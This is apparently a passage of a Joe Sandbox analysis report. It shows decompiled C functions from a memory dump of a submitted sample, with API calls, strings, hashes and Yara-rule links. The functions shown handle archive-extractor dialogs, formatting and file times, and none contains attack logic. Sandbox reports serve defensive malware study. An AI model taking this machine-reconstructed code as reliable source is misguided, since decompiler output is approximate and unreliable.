				if(E008611E6(__edx, _t28, _t29, _t24, _a16, L"GETPASSWORD1", 0, 0) != 0) {
					L10:
					return 1;
				}
				_t30 = _t29 - 0x110;
				if(_t30 == 0) {
					SetDlgItemTextW(_t28, 0x67, _a16);
					goto L10;
				}
				if(_t30 != 1) {
					L5:
					return 0;
				}
				_t15 = (_t24 & 0x0000ffff) - 1;
				if(_t15 == 0) {
					GetDlgItemTextW(_t28, 0x66,  &_v260, 0x80);
					E00865960(_t24, 0x8be0c0,  &_v260);
					E008659AB( &_v260, 0x80);
					_push(1);
					L7:
					EndDialog(_t28, ??);
					goto L10;
				}
				if(_t15 == 1) {
					_push(0);
					goto L7;
				}
				goto L5;
			}

0x008702ba
0x008702be
0x008702c2
0x008702db
0x0087034a
0x00000000
0x0087034c
0x008702dd
0x008702e3
0x00870344
0x00000000
0x00870344
0x008702e8
0x008702f7
0x00000000
0x008702f7
0x008702ed
0x008702f0
0x00870316
0x00870328
0x00870335
0x0087033a
0x008702fd
0x008702fe
0x00000000
0x008702fe
0x008702f5
0x008702fb
0x00000000
0x008702fb
0x00000000

APIs

Part of subcall function 008611E6: GetDlgItem.USER32(00000000,00003021), ref: 0086122A
Part of subcall function 008611E6: SetWindowTextW.USER32(00000000,00888574), ref: 00861240

EndDialog.USER32(?,00000001), ref: 008702FE
GetDlgItemTextW.USER32(?,00000066,?,00000080), ref: 00870316
SetDlgItemTextW.USER32(?,00000067,?), ref: 00870344

Strings

GETPASSWORD1, xrefs: 008702C9

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1
API String ID: 445417207-3292211884
Opcode ID: 98d067aa53df12207b973f2a8087d4b6ac9cb6aae64942228659e7cc6d20ec77
Instruction ID: dfcddb9c24f851ea7073a5c3d0a1d05bccccbb516da911cc63f3d03139793713
Opcode Fuzzy Hash: 98d067aa53df12207b973f2a8087d4b6ac9cb6aae64942228659e7cc6d20ec77
Instruction Fuzzy Hash: 3411A13294011CFBDB22AAA89C4DFFA3A7CFB09754F044051F68DE6288C2A5E9458A61

Uniqueness

Uniqueness Score: -1.00%

Function 00872CB9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00872CB9(long _a4, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				WCHAR* _t15;
				_Unknown_base(*)()* _t19;
				int _t22;

				 *0x8c52d0 = _a12;
				 *0x8c52d4 = _a16;
				 *0x8aea34 = _a20;
				if( *0x8aea30 == 0) {
					if( *0x8aea1f == 0) {
						_t19 = E00871260;
						_t15 = L"REPLACEFILEDLG";
						while(1) {
							_t22 = DialogBoxParamW( *0x8aea24, _t15,  *0x8aea28, _t19, _a4);
							if(_t22 != 4) {
								break;
							}
							if(DialogBoxParamW( *0x8aea20, L"RENAMEDLG",  *0x8aea18, E00872640, _a4) != 0) {
								break;
							}
						}
						return _t22;
					}
					return 1;
				}
				return 0;
			}

0x00872cc9
0x00872cd1
0x00872cd7
0x00872cdc
0x00872ce9
0x00872cf3
0x00872cf8
0x00872d22
0x00872d39
0x00872d3e
0x00000000
0x00000000
0x00872d20
0x00000000
0x00000000
0x00872d20
0x00000000
0x00872d44
0x00000000
0x00872ced
0x00000000

Strings

RENAMEDLG, xrefs: 00872D0D
REPLACEFILEDLG, xrefs: 00872CF8, 00872D2C

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 26e3fd036509948e6608816a301506fa2fc4a9fc307bcd21bb3c3249cedc02c4
Instruction ID: b0fec5f619f6bf21ce0cdc35cf401fe5da7b086e4c775abc552eb75eeda4e72b
Opcode Fuzzy Hash: 26e3fd036509948e6608816a301506fa2fc4a9fc307bcd21bb3c3249cedc02c4
Instruction Fuzzy Hash: 7401B132600129AFEB119F58EC48E967FA9F729354F004825FD09D2A34D231E850DB90

Uniqueness

Uniqueness Score: -1.00%

Function 0086F8B9 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0086F8B9() {
				int _t4;
				struct HDC__* _t7;

				_t7 = GetDC(0);
				_t4 = GetDeviceCaps(_t7, 0xc);
				return ReleaseDC(0, _t7) & 0xffffff00 | _t4 - 0x00000020 >= 0x00000000;
			}

0x0086f8c3
0x0086f8c8
0x0086f8e1

APIs

GetDC.USER32(00000000), ref: 0086F8BD
GetDeviceCaps.GDI32(00000000,0000000C), ref: 0086F8C8
ReleaseDC.USER32(00000000,00000000), ref: 0086F8D3

Strings

v, xrefs: 0086F8D3

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: CapsDeviceRelease
String ID: v
API String ID: 127614599-1801730948
Opcode ID: d3a99eb2f024fb01e8f0c1bd13ececdffb7ba4273ef7ca315295da14f72e5780
Instruction ID: 5e8e120464acbfb45f04f12510e087d7c332b1c715c321345376154c4d9da92c
Opcode Fuzzy Hash: d3a99eb2f024fb01e8f0c1bd13ececdffb7ba4273ef7ca315295da14f72e5780
Instruction Fuzzy Hash: 07D01232580620A7E72027ADBC4EFAB2E34FBC9B61F060595F9459F1D4CA744C82C6B1

Uniqueness

Uniqueness Score: -1.00%

Function 0087E33E Relevance: 6.3, APIs: 4, Instructions: 305
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 75%

			E0087E33E(void* __edx, signed int* _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, signed int _a28, intOrPtr _a32, intOrPtr _a36) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				char _v40;
				intOrPtr _v48;
				char _v52;
				void* __ebx;
				void* __edi;
				void* _t86;
				signed int _t92;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				void* _t101;
				void* _t102;
				void* _t104;
				void* _t107;
				void* _t109;
				void* _t111;
				void* _t115;
				char* _t116;
				void* _t119;
				signed int _t121;
				signed int _t128;
				signed int* _t129;
				signed int _t136;
				signed int _t137;
				char _t138;
				signed int _t139;
				signed int _t142;
				signed int _t146;
				signed int _t151;
				char _t156;
				char _t157;
				void* _t161;
				unsigned int _t162;
				signed int _t164;
				signed int _t166;
				signed int _t170;
				void* _t171;
				signed int* _t172;
				signed int _t174;
				signed int _t181;
				signed int _t182;
				signed int _t183;
				signed int _t184;
				signed int _t185;
				signed int _t186;
				signed int _t187;

				_t171 = __edx;
				_t181 = _a24;
				if(_t181 < 0) {
					_t181 = 0;
				}
				_t184 = _a8;
				 *_t184 = 0;
				E00878ECE(0,  &_v52, _t171, _a36);
				_t5 = _t181 + 0xb; // 0xb
				if(_a12 > _t5) {
					_t172 = _a4;
					_t142 = _t172[1];
					_v36 =  *_t172;
					__eflags = (_t142 >> 0x00000014 & 0x000007ff) - 0x7ff;
					if((_t142 >> 0x00000014 & 0x000007ff) != 0x7ff) {
						L11:
						__eflags = _t142 & 0x80000000;
						if((_t142 & 0x80000000) != 0) {
							 *_t184 = 0x2d;
							_t184 = _t184 + 1;
							__eflags = _t184;
						}
						__eflags = _a28;
						_v16 = 0x3ff;
						_t136 = ((0 | _a28 == 0x00000000) - 0x00000001 & 0xffffffe0) + 0x27;
						__eflags = _t172[1] & 0x7ff00000;
						_v32 = _t136;
						_t86 = 0x30;
						if((_t172[1] & 0x7ff00000) != 0) {
							 *_t184 = 0x31;
							_t185 = _t184 + 1;
							__eflags = _t185;
						} else {
							 *_t184 = _t86;
							_t185 = _t184 + 1;
							_t164 =  *_t172 | _t172[1] & 0x000fffff;
							__eflags = _t164;
							if(_t164 != 0) {
								_v16 = 0x3fe;
							} else {
								_v16 = _v16 & _t164;
							}
						}
						_t146 = _t185;
						_t186 = _t185 + 1;
						_v28 = _t146;
						__eflags = _t181;
						if(_t181 != 0) {
							 *_t146 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v48 + 0x88))))));
						} else {
							 *_t146 = 0;
						}
						_t92 = _t172[1] & 0x000fffff;
						__eflags = _t92;
						_v20 = _t92;
						if(_t92 > 0) {
							L23:
							_t33 =  &_v8;
							 *_t33 = _v8 & 0x00000000;
							__eflags =  *_t33;
							_t147 = 0xf0000;
							_t93 = 0x30;
							_v12 = _t93;
							_v20 = 0xf0000;
							do {
								__eflags = _t181;
								if(_t181 <= 0) {
									break;
								}
								_t119 = E00886D30( *_t172 & _v8, _v12, _t172[1] & _t147 & 0x000fffff);
								_t161 = 0x30;
								_t121 = _t119 + _t161 & 0x0000ffff;
								__eflags = _t121 - 0x39;
								if(_t121 > 0x39) {
									_t121 = _t121 + _t136;
									__eflags = _t121;
								}
								_t162 = _v20;
								_t172 = _a4;
								 *_t186 = _t121;
								_t186 = _t186 + 1;
								_v8 = (_t162 << 0x00000020 | _v8) >> 4;
								_t147 = _t162 >> 4;
								_t93 = _v12 - 4;
								_t181 = _t181 - 1;
								_v20 = _t162 >> 4;
								_v12 = _t93;
								__eflags = _t93;
							} while (_t93 >= 0);
							__eflags = _t93;
							if(_t93 < 0) {
								goto L39;
							}
							_t115 = E00886D30( *_t172 & _v8, _v12, _t172[1] & _t147 & 0x000fffff);
							__eflags = _t115 - 8;
							if(_t115 <= 8) {
								goto L39;
							}
							_t54 = _t186 - 1; // 0x879b39
							_t116 = _t54;
							_t138 = 0x30;
							while(1) {
								_t156 =  *_t116;
								__eflags = _t156 - 0x66;
								if(_t156 == 0x66) {
									goto L33;
								}
								__eflags = _t156 - 0x46;
								if(_t156 != 0x46) {
									_t139 = _v32;
									__eflags = _t116 - _v28;
									if(_t116 == _v28) {
										_t57 = _t116 - 1;
										 *_t57 =  *(_t116 - 1) + 1;
										__eflags =  *_t57;
									} else {
										_t157 =  *_t116;
										__eflags = _t157 - 0x39;
										if(_t157 != 0x39) {
											 *_t116 = _t157 + 1;
										} else {
											 *_t116 = _t139 + 0x3a;
										}
									}
									goto L39;
								}
								L33:
								 *_t116 = _t138;
								_t116 = _t116 - 1;
							}
						} else {
							__eflags =  *_t172;
							if( *_t172 <= 0) {
								L39:
								__eflags = _t181;
								if(_t181 > 0) {
									_push(_t181);
									_t111 = 0x30;
									_push(_t111);
									_push(_t186);
									E00874BD0(_t181);
									_t186 = _t186 + _t181;
									__eflags = _t186;
								}
								_t94 = _v28;
								__eflags =  *_t94;
								if( *_t94 == 0) {
									_t186 = _t94;
								}
								__eflags = _a28;
								 *_t186 = ((_t94 & 0xffffff00 | _a28 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x70;
								_t174 = _a4[1];
								_t100 = E00886D30( *_a4, 0x34, _t174);
								_t137 = 0;
								_t151 = (_t100 & 0x000007ff) - _v16;
								__eflags = _t151;
								asm("sbb ebx, ebx");
								if(__eflags < 0) {
									L47:
									 *(_t186 + 1) = 0x2d;
									_t187 = _t186 + 2;
									__eflags = _t187;
									_t151 =  ~_t151;
									asm("adc ebx, 0x0");
									_t137 =  ~_t137;
									goto L48;
								} else {
									if(__eflags > 0) {
										L46:
										 *(_t186 + 1) = 0x2b;
										_t187 = _t186 + 2;
										L48:
										_t182 = _t187;
										_t101 = 0x30;
										 *_t187 = _t101;
										__eflags = _t137;
										if(__eflags < 0) {
											L56:
											__eflags = _t187 - _t182;
											if(_t187 != _t182) {
												L60:
												_push(0);
												_push(0xa);
												_push(_t137);
												_push(_t151);
												_t102 = E00886BF0();
												_v32 = _t174;
												 *_t187 = _t102 + 0x30;
												_t187 = _t187 + 1;
												__eflags = _t187;
												L61:
												_t104 = 0x30;
												_t183 = 0;
												__eflags = 0;
												 *_t187 = _t151 + _t104;
												 *(_t187 + 1) = 0;
												goto L62;
											}
											__eflags = _t137;
											if(__eflags < 0) {
												goto L61;
											}
											if(__eflags > 0) {
												goto L60;
											}
											__eflags = _t151 - 0xa;
											if(_t151 < 0xa) {
												goto L61;
											}
											goto L60;
										}
										if(__eflags > 0) {
											L51:
											_push(0);
											_push(0x3e8);
											_push(_t137);
											_push(_t151);
											_t107 = E00886BF0();
											_v32 = _t174;
											 *_t187 = _t107 + 0x30;
											_t187 = _t187 + 1;
											__eflags = _t187 - _t182;
											if(_t187 != _t182) {
												L55:
												_push(0);
												_push(0x64);
												_push(_t137);
												_push(_t151);
												_t109 = E00886BF0();
												_v32 = _t174;
												 *_t187 = _t109 + 0x30;
												_t187 = _t187 + 1;
												__eflags = _t187;
												goto L56;
											}
											L52:
											__eflags = _t137;
											if(__eflags < 0) {
												goto L56;
											}
											if(__eflags > 0) {
												goto L55;
											}
											__eflags = _t151 - 0x64;
											if(_t151 < 0x64) {
												goto L56;
											}
											goto L55;
										}
										__eflags = _t151 - 0x3e8;
										if(_t151 < 0x3e8) {
											goto L52;
										}
										goto L51;
									}
									__eflags = _t151;
									if(_t151 < 0) {
										goto L47;
									}
									goto L46;
								}
							}
							goto L23;
						}
					}
					__eflags = 0;
					if(0 != 0) {
						goto L11;
					} else {
						_t183 = E0087E641(0, _t142, 0, _t172, _t184, _a12, _a16, _a20, _t181, 0, _a32, 0);
						__eflags = _t183;
						if(_t183 == 0) {
							_t128 = E00886E00(_t184, 0x65);
							_pop(_t166);
							__eflags = _t128;
							if(_t128 != 0) {
								__eflags = _a28;
								_t170 = ((_t166 & 0xffffff00 | _a28 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x70;
								__eflags = _t170;
								 *_t128 = _t170;
								 *((char*)(_t128 + 3)) = 0;
							}
							_t183 = 0;
						} else {
							 *_t184 = 0;
						}
						goto L62;
					}
				} else {
					_t129 = E0087DA7D();
					_t183 = 0x22;
					 *_t129 = _t183;
					E0087D95C();
					L62:
					if(_v40 != 0) {
						 *(_v52 + 0x350) =  *(_v52 + 0x350) & 0xfffffffd;
					}
					return _t183;
				}
			}

0x0087e33e
0x0087e349
0x0087e350
0x0087e352
0x0087e352
0x0087e354
0x0087e35d
0x0087e35f
0x0087e364
0x0087e36a
0x0087e380
0x0087e385
0x0087e388
0x0087e395
0x0087e39a
0x0087e3ee
0x0087e3f6
0x0087e3f8
0x0087e3fa
0x0087e3fd
0x0087e3fd
0x0087e3fd
0x0087e403
0x0087e40b
0x0087e41e
0x0087e421
0x0087e423
0x0087e426
0x0087e427
0x0087e448
0x0087e44b
0x0087e44b
0x0087e429
0x0087e429
0x0087e42b
0x0087e436
0x0087e436
0x0087e438
0x0087e43f
0x0087e43a
0x0087e43a
0x0087e43a
0x0087e438
0x0087e44c
0x0087e44e
0x0087e44f
0x0087e452
0x0087e454
0x0087e468
0x0087e456
0x0087e456
0x0087e456
0x0087e46d
0x0087e46d
0x0087e472
0x0087e475
0x0087e480
0x0087e480
0x0087e480
0x0087e480
0x0087e484
0x0087e48b
0x0087e48c
0x0087e48f
0x0087e492
0x0087e492
0x0087e494
0x00000000
0x00000000
0x0087e4ac
0x0087e4b3
0x0087e4b7
0x0087e4ba
0x0087e4bd
0x0087e4bf
0x0087e4bf
0x0087e4bf
0x0087e4c1
0x0087e4c4
0x0087e4c7
0x0087e4c9
0x0087e4d1
0x0087e4d7
0x0087e4da
0x0087e4dd
0x0087e4de
0x0087e4e1
0x0087e4e4
0x0087e4e4
0x0087e4e9
0x0087e4ec
0x00000000
0x00000000
0x0087e504
0x0087e509
0x0087e50d
0x00000000
0x00000000
0x0087e511
0x0087e511
0x0087e514
0x0087e515
0x0087e515
0x0087e517
0x0087e51a
0x00000000
0x00000000
0x0087e51c
0x0087e51f
0x0087e526
0x0087e529
0x0087e52c
0x0087e542
0x0087e542
0x0087e542
0x0087e52e
0x0087e52e
0x0087e530
0x0087e533
0x0087e53e
0x0087e535
0x0087e538
0x0087e538
0x0087e533
0x00000000
0x0087e52c
0x0087e521
0x0087e521
0x0087e523
0x0087e523
0x0087e477
0x0087e477
0x0087e47a
0x0087e545
0x0087e545
0x0087e547
0x0087e549
0x0087e54c
0x0087e54d
0x0087e54e
0x0087e54f
0x0087e557
0x0087e557
0x0087e557
0x0087e559
0x0087e55c
0x0087e55f
0x0087e561
0x0087e561
0x0087e563
0x0087e575
0x0087e579
0x0087e57c
0x0087e583
0x0087e58b
0x0087e58b
0x0087e58e
0x0087e590
0x0087e5a1
0x0087e5a1
0x0087e5a5
0x0087e5a5
0x0087e5a8
0x0087e5aa
0x0087e5ad
0x00000000
0x0087e592
0x0087e592
0x0087e598
0x0087e598
0x0087e59c
0x0087e5af
0x0087e5af
0x0087e5b3
0x0087e5b4
0x0087e5b6
0x0087e5b8
0x0087e5f9
0x0087e5f9
0x0087e5fb
0x0087e608
0x0087e608
0x0087e60a
0x0087e60c
0x0087e60d
0x0087e60e
0x0087e615
0x0087e618
0x0087e61a
0x0087e61a
0x0087e61b
0x0087e61d
0x0087e620
0x0087e620
0x0087e622
0x0087e624
0x00000000
0x0087e624
0x0087e5fd
0x0087e5ff
0x00000000
0x00000000
0x0087e601
0x00000000
0x00000000
0x0087e603
0x0087e606
0x00000000
0x00000000
0x00000000
0x0087e606
0x0087e5bf
0x0087e5c5
0x0087e5c5
0x0087e5c7
0x0087e5c8
0x0087e5c9
0x0087e5ca
0x0087e5d1
0x0087e5d4
0x0087e5d6
0x0087e5d7
0x0087e5d9
0x0087e5e6
0x0087e5e6
0x0087e5e8
0x0087e5ea
0x0087e5eb
0x0087e5ec
0x0087e5f3
0x0087e5f6
0x0087e5f8
0x0087e5f8
0x00000000
0x0087e5f8
0x0087e5db
0x0087e5db
0x0087e5dd
0x00000000
0x00000000
0x0087e5df
0x00000000
0x00000000
0x0087e5e1
0x0087e5e4
0x00000000
0x00000000
0x00000000
0x0087e5e4
0x0087e5c1
0x0087e5c3
0x00000000
0x00000000
0x00000000
0x0087e5c3
0x0087e594
0x0087e596
0x00000000
0x00000000
0x00000000
0x0087e596
0x0087e590
0x00000000
0x0087e47a
0x0087e475
0x0087e39c
0x0087e39e
0x00000000
0x0087e3a0
0x0087e3b6
0x0087e3bb
0x0087e3bd
0x0087e3c9
0x0087e3cf
0x0087e3d0
0x0087e3d2
0x0087e3d4
0x0087e3df
0x0087e3df
0x0087e3e2
0x0087e3e4
0x0087e3e4
0x0087e3e7
0x0087e3bf
0x0087e3bf
0x0087e3bf
0x00000000
0x0087e3bd
0x0087e36c
0x0087e36c
0x0087e373
0x0087e374
0x0087e376
0x0087e628
0x0087e62c
0x0087e631
0x0087e631
0x0087e640
0x0087e640

APIs

_strrchr.LIBCMT ref: 0087E3C9
__alldvrm.LIBCMT ref: 0087E5CA
__alldvrm.LIBCMT ref: 0087E5EC

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: c473ededd4b5f231787ad5e923ecbfe23fc31c8736d218f3f9b2a250fc0429ba
Instruction ID: 56ce3e497df597d87b04242a9bb871cf93f1fcfb376fe0ceadcdeb42c401f2a3
Opcode Fuzzy Hash: c473ededd4b5f231787ad5e923ecbfe23fc31c8736d218f3f9b2a250fc0429ba
Instruction Fuzzy Hash: 84A13672A0078A9FEB21CE58C8917AEBBE5FF69314F1881EDE489DB285D234C941C751

Uniqueness

Uniqueness Score: -1.00%

Function 008627B2 Relevance: 6.1, APIs: 4, Instructions: 127
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E008627B2(void* __edx) {
				signed char _t41;
				void* _t42;
				void* _t53;
				signed char _t70;
				void* _t78;
				signed int* _t79;
				signed int* _t80;
				void* _t81;
				signed int* _t82;
				void* _t83;

				_t78 = __edx;
				E00873AC0(0x1024);
				_t80 =  *(_t83 + 0x1038);
				_t70 = 1;
				if(_t80 == 0) {
					L2:
					 *(_t83 + 0x11) = 0;
					L3:
					_t79 =  *(_t83 + 0x1040);
					if(_t79 == 0) {
						L5:
						 *(_t83 + 0x13) = 0;
						L6:
						_t82 =  *(_t83 + 0x1044);
						if(_t82 == 0) {
							L8:
							 *(_t83 + 0x12) = 0;
							L9:
							_t41 = E00862692( *(_t83 + 0x1038));
							 *(_t83 + 0x18) = _t41;
							if(_t41 == 0xffffffff || (_t70 & _t41) == 0) {
								_t70 = 0;
							} else {
								E0086294B( *((intOrPtr*)(_t83 + 0x103c)), 0);
							}
							_t42 = CreateFileW( *(_t83 + 0x1050), 0x40000000, 3, 0, 3, 0x2000000, 0);
							 *(_t83 + 0x14) = _t42;
							if(_t42 != 0xffffffff) {
								L16:
								if( *(_t83 + 0x11) != 0) {
									E00867172(_t80, _t78, _t83 + 0x1c);
								}
								if( *(_t83 + 0x13) != 0) {
									E00867172(_t79, _t78, _t83 + 0x2c);
								}
								if( *(_t83 + 0x12) != 0) {
									E00867172(_t82, _t78, _t83 + 0x24);
								}
								_t81 =  *(_t83 + 0x14);
								asm("sbb eax, eax");
								asm("sbb eax, eax");
								asm("sbb eax, eax");
								SetFileTime(_t81,  ~( *(_t83 + 0x1b) & 0x000000ff) & _t83 + 0x00000030,  ~( *(_t83 + 0x16) & 0x000000ff) & _t83 + 0x00000024,  ~( *(_t83 + 0x11) & 0x000000ff) & _t83 + 0x0000001c);
								_t53 = CloseHandle(_t81);
								if(_t70 != 0) {
									_t53 = E0086294B( *((intOrPtr*)(_t83 + 0x103c)),  *(_t83 + 0x18));
								}
								goto L24;
							} else {
								_t53 = E00863553( *(_t83 + 0x1040), _t83 + 0x38, 0x800);
								if(_t53 == 0) {
									L24:
									return _t53;
								}
								_t53 = CreateFileW(_t83 + 0x4c, 0x40000000, 3, 0, 3, 0x2000000, 0);
								 *(_t83 + 0x14) = _t53;
								if(_t53 == 0xffffffff) {
									goto L24;
								}
								goto L16;
							}
						}
						 *(_t83 + 0x12) = _t70;
						if(( *_t82 | _t82[1]) != 0) {
							goto L9;
						}
						goto L8;
					}
					 *(_t83 + 0x13) = _t70;
					if(( *_t79 | _t79[1]) != 0) {
						goto L6;
					}
					goto L5;
				}
				 *(_t83 + 0x11) = 1;
				if(( *_t80 | _t80[1]) != 0) {
					goto L3;
				}
				goto L2;
			}

0x008627b2
0x008627b7
0x008627c3
0x008627ca
0x008627ce
0x008627db
0x008627db
0x008627df
0x008627df
0x008627e8
0x008627f5
0x008627f5
0x008627f9
0x008627f9
0x00862802
0x00862810
0x00862810
0x00862814
0x0086281b
0x00862820
0x00862827
0x0086283d
0x0086282d
0x00862836
0x00862836
0x00862858
0x0086285e
0x00862865
0x008628af
0x008628b4
0x008628bd
0x008628bd
0x008628c7
0x008628d0
0x008628d0
0x008628da
0x008628e3
0x008628e3
0x008628f3
0x008628f7
0x00862907
0x00862917
0x0086291d
0x00862924
0x0086292c
0x00862939
0x00862939
0x00000000
0x00862867
0x00862878
0x0086287f
0x00862942
0x00862948
0x00862948
0x0086289c
0x008628a2
0x008628a9
0x00000000
0x00000000
0x00000000
0x008628a9
0x00862865
0x0086280a
0x0086280e
0x00000000
0x00000000
0x00000000
0x0086280e
0x008627ef
0x008627f3
0x00000000
0x00000000
0x00000000
0x008627f3
0x008627d5
0x008627d9
0x00000000
0x00000000
0x00000000

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000), ref: 00862858
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800), ref: 0086289C
SetFileTime.KERNEL32(?,?,?,00000000), ref: 0086291D
CloseHandle.KERNEL32(?), ref: 00862924

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: b68c241fa67c44d07ab7ad647936c6154eeb1404da6bf98c2ab65e9020ca64cf
Instruction ID: 817f7f1a04fbf025434e095108259a5e00b6d3a8e339311567864d1b60a5e1c9
Opcode Fuzzy Hash: b68c241fa67c44d07ab7ad647936c6154eeb1404da6bf98c2ab65e9020ca64cf
Instruction Fuzzy Hash: 6241CA30248781AAE721DF28DC45FAEBBE8FF95700F0509ADF5D1D3190DA74AA48DB52

Uniqueness

Uniqueness Score: -1.00%

Function 00881308 Relevance: 6.1, APIs: 4, Instructions: 110
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 83%

			E00881308(void* __edx, void* __eflags, intOrPtr _a4, int _a8, char* _a12, int _a16, short* _a20, int _a24, intOrPtr _a28) {
				signed int _v8;
				int _v12;
				char _v16;
				intOrPtr _v24;
				char _v28;
				void* _v40;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t34;
				signed int _t40;
				int _t46;
				int _t54;
				void* _t55;
				int _t57;
				signed int _t63;
				int _t66;
				short* _t67;
				signed int _t68;
				short* _t69;

				_t65 = __edx;
